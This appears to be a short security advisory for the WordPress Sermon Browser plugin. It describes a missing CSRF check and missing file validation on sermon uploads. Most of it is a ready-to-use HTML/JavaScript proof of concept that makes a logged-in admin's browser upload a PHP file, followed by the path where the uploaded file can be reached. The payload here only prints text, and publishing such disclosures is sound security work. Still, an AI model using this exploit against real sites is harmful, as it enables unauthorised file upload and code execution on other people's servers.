The plugin does not have CSRF checks in place when uploading Sermon files, and does not validate them in any way, allowing attackers to make a logged in admin upload arbitrary files such as PHP ones.
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/example.com\/wp-admin\/admin.php?page=sermon-browser\/files.php", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------271015847919477243333798421416");
xhr.withCredentials = true;
var body = "-----------------------------271015847919477243333798421416\r\n" +
"Content-Disposition: form-data; name=\"upload\"; filename=\"file.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php echo \'FAILED\'; ?\x3e\n" +
"\r\n" +
"-----------------------------271015847919477243333798421416\r\n" +
"Content-Disposition: form-data; name=\"save\"\r\n" +
"\r\n" +
"Upload \xc2\xbb\r\n" +
"-----------------------------271015847919477243333798421416--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
Or, as admin, upload a PHP file via the Sermon > Files feature of the plugin.
The file will be at https://example.com/wp-content/uploads/sermons/file.php